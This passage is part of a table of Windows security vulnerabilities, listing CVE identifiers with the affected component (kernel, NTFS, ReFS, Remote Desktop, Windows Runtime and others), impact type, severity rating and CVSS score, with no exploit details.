No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege 